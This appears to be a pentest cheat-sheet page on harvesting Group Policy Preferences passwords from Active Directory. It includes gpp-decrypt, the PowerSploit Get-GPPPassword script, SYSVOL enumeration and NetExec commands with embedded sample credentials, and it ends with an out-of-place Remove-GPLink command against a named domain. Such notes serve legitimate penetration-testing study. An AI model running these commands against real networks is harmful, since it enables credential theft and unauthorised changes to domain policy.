> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/domain-controllers/group-policy-preferences-gpp.md).

# Group Policy Preferences (GPP)

* GROUPS.XML - Patched in 2014, still able to find domains where this exists
* cpassword - AES encrypted but they can be decrypted with Microsofts private key

```
gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE
```

### Find GPP Passwords

```powershell
# PowerSploit module
Get-GPPPassword.ps1
```

* <https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1>

### Check SYSVOL Scripts

```powershell
ls \\<dc>\SYSVOL\<DOMAIN>\scripts
```

### CRACKMAPEXEC

```
nxc smb -L | grep gpp
```

* Using NetExec's gpp\_autologin Module

```
nxc smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin

Remove-GPLink -Name "MGMTTestGPO" -Target "CN=Default-First-Site-Name,cn=Sites,CN=Configuration,DC=MGMT,DC=EVERGREENHEALTH,DC=SYS"
```
